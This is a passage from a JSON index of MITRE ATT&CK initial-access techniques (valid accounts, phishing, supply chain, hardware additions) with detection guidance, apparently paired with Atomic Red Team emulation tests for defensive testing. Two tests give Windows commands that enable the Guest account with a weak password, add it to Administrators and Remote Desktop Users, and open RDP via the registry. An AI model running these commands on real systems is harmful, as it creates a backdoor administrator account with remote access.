- "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts",
- "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019."
- },
- {
- "source_name": "AWS Root User",
- "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html",
- "description": "Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021."
- },
- {
- "source_name": "Threat Matrix for Kubernetes",
- "url": "https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/",
- "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021."
- },
- {
- "source_name": "Metasploit SSH Module",
- "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh",
- "description": "undefined. (n.d.). Retrieved April 12, 2019."
- }
- ],
- "modified": "2021-04-05T20:14:26.846Z",
- "name": "Valid Accounts: Default Accounts",
- "description": "Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "identifier": "T1078.001"
- },
- "atomic_tests": [
- {
- "name": "Enable Guest account with RDP capability and admin privileges",
- "auto_generated_guid": "99747561-ed8d-47f2-9c91-1e5fde1ed6e0",
- "description": "After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,\nand desktop will allow multiple RDP connections.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "guest_user": {
- "description": "Specify the guest account",
- "type": "string",
- "default": "guest"
- },
- "guest_password": {
- "description": "Specify the guest password",
- "type": "string",
- "default": "Password123!"
- },
- "local_admin_group": {
- "description": "Specify the admin localgroup name",
- "type": "string",
- "default": "Administrators"
- },
- "remote_desktop_users_group_name": {
- "description": "Specify the remote desktop users group name",
- "type": "string",
- "default": "Remote Desktop Users"
- },
- "remove_rdp_access_during_cleanup": {
- "description": "Set to 1 if you want the cleanup to remove RDP access to machine",
- "type": "integer",
- "default": 0
- }
- },
- "executor": {
- "command": "net user #{guest_user} /active:yes\nnet user #{guest_user} #{guest_password}\nnet localgroup #{local_admin_group} #{guest_user} /add\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /add\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f\nreg add \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /t REG_DWORD /d 0x1 /f",
- "cleanup_command": "net user #{guest_user} /active:no >nul 2>&1\nnet localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1\nnet localgroup \"#{remote_desktop_users_group_name}\" #{guest_user} /delete >nul 2>&1\nif #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argument to disable RDP access during cleanup)\nif #{remove_rdp_access_during_cleanup} EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /f >nul 2>&1)\nif #{remove_rdp_access_during_cleanup} EQU 1 (reg delete \"hklm\\system\\CurrentControlSet\\Control\\Terminal Server\" /v \"AllowTSConnections\" /f >nul 2>&1)",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Activate Guest Account",
- "auto_generated_guid": "aa6cb8c4-b582-4f8e-b677-37733914abda",
- "description": "The Adversaries can activate the default Guest user. The guest account is inactivated by default\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "guest_user": {
- "description": "Specify the guest account",
- "type": "string",
- "default": "guest"
- }
- },
- "executor": {
- "command": "net user #{guest_user} /active:yes\n",
- "cleanup_command": "net user #{guest_user} /active:no\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1193": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1193",
- "external_id": "T1193"
- },
- {
- "external_id": "CAPEC-163",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/163.html"
- }
- ],
- "modified": "2020-03-02T19:08:17.884Z",
- "name": "Spearphishing Attachment",
- "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1199": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1199",
- "url": "https://attack.mitre.org/techniques/T1199"
- },
- {
- "source_name": "CISA IT Service Providers",
- "url": "https://us-cert.cisa.gov/APTs-Targeting-IT-Service-Provider-Customers",
- "description": "CISA. (n.d.). APTs Targeting IT Service Provider Customers. Retrieved November 16, 2020."
- }
- ],
- "modified": "2021-03-08T10:33:01.045Z",
- "name": "Trusted Relationship",
- "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems as well as cloud-based environments. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.(Citation: CISA IT Service Providers)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.",
- "x_mitre_version": "2.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "Application Log: Application Log Content",
- "Logon Session: Logon Session Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1566": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "SaaS",
- "Office 365",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Philip Winther"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
- "type": "attack-pattern",
- "created": "2020-03-02T18:45:07.892Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1566",
- "url": "https://attack.mitre.org/techniques/T1566"
- },
- {
- "external_id": "CAPEC-98",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/98.html"
- },
- {
- "source_name": "Microsoft Anti Spoofing",
- "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
- "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
- },
- {
- "source_name": "ACSC Email Spoofing",
- "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
- "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
- }
- ],
- "modified": "2022-01-04T13:57:16.959Z",
- "name": "Phishing",
- "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.",
- "x_mitre_version": "2.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ]
- },
- "atomic_tests": []
- },
- "T1078": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Syed Ummar Farooqh, McAfee",
- "Prasad Somasamudram, McAfee",
- "Sekhar Sarukkai, McAfee ",
- "Jon Sternstein, Stern Security",
- "Yossi Weizman, Azure Defender Research Team",
- "Netskope",
- "Mark Wee",
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
- "created": "2017-05-31T21:31:00.645Z",
- "x_mitre_version": "2.4",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078",
- "url": "https://attack.mitre.org/techniques/T1078"
- },
- {
- "source_name": "CISA MFA PrintNightmare",
- "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a",
- "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022."
- },
- {
- "source_name": "TechNet Credential Theft",
- "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
- "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016."
- },
- {
- "source_name": "TechNet Audit Policy",
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/560.html",
- "source_name": "capec",
- "external_id": "CAPEC-560"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)",
- "modified": "2022-05-05T04:55:21.981Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Valid Accounts",
- "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "User",
- "Administrator"
- ],
- "x_mitre_defense_bypassed": [
- "Firewall",
- "Anti-virus",
- "Host Intrusion Prevention Systems",
- "Network Intrusion Detection System",
- "Application Control",
- "System Access Controls"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1195.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--bd369cd9-abb8-41ce-b5bb-fff23ee86c00",
- "created": "2020-03-11T14:17:21.153Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1195.002",
- "url": "https://attack.mitre.org/techniques/T1195/002"
- },
- {
- "source_name": "Avast CCleaner3 2018",
- "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities",
- "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018."
- },
- {
- "source_name": "Command Five SK 2011",
- "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf",
- "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.\n\nTargeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) ",
- "modified": "2022-04-28T16:04:36.636Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Compromise Software Supply Chain",
- "x_mitre_detection": "Use verification of distributed binaries through hash checking or other integrity checking mechanisms. Scan downloads for malicious signatures and attempt to test software and updates prior to deployment while taking note of potential suspicious activity. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Metadata"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1078.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jon Sternstein, Stern Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f",
- "created": "2020-03-13T20:21:54.758Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1078.002",
- "url": "https://attack.mitre.org/techniques/T1078/002"
- },
- {
- "source_name": "TechNet Credential Theft",
- "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
- "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016."
- },
- {
- "source_name": "TechNet Audit Policy",
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016."
- },
- {
- "source_name": "Microsoft AD Accounts",
- "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts",
- "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020."
- },
- {
- "source_name": "Ubuntu SSSD Docs",
- "url": "https://ubuntu.com/server/docs/service-sssd",
- "description": "Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/560.html",
- "source_name": "capec",
- "external_id": "CAPEC-560"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.",
- "modified": "2022-04-19T20:14:34.479Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Domain Accounts",
- "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \n\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Logon Session: Logon Session Creation",
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1194": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d3df754e-997b-4cf9-97d4-70feb3120847",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1194",
- "external_id": "T1194"
- },
- {
- "external_id": "CAPEC-163",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/163.html"
- }
- ],
- "modified": "2020-03-02T19:30:53.487Z",
- "name": "Spearphishing via Service",
- "description": "Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_detection": "Because most common third-party services used for spearphishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware. \n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1200": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9",
- "created": "2018-04-18T17:59:24.739Z",
- "x_mitre_version": "1.6",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1200",
- "url": "https://attack.mitre.org/techniques/T1200"
- },
- {
- "source_name": "Ossmann Star Feb 2011",
- "url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html",
- "description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018."
- },
- {
- "source_name": "Aleks Weapons Nov 2015",
- "url": "https://www.youtube.com/watch?v=lDvf4ScWbcQ",
- "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018."
- },
- {
- "source_name": "McMillan Pwn March 2012",
- "url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/",
- "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018."
- },
- {
- "source_name": "Frisk DMA August 2016",
- "url": "https://www.youtube.com/watch?v=fXthwl6ShOg",
- "description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/440.html",
- "source_name": "capec",
- "external_id": "CAPEC-440"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may introduce computer accessories, networking hardware, or other computing devices into a system or network that can be used as a vector to gain access. Rather than just connecting and distributing payloads via removable storage (i.e. [Replication Through Removable Media](https://attack.mitre.org/techniques/T1091)), more robust hardware additions can be used to introduce new functionalities and/or features into a system that can then be abused.\n\nWhile public references of usage by threat actors are scarce, many red teams/penetration testers leverage hardware additions for initial access. Commercial and open source products can be leveraged with capabilities such as passive network tapping, network traffic modification (i.e. [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)), keystroke injection, kernel memory reading via DMA, addition of new wireless access to an existing network, and others.(Citation: Ossmann Star Feb 2011)(Citation: Aleks Weapons Nov 2015)(Citation: Frisk DMA August 2016)(Citation: McMillan Pwn March 2012)",
- "modified": "2022-04-28T16:09:12.782Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Hardware Additions",
- "x_mitre_detection": "Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Drive: Drive Creation",
- "Network Traffic: Network Traffic Flow",
- "Application Log: Application Log Content"
- ],
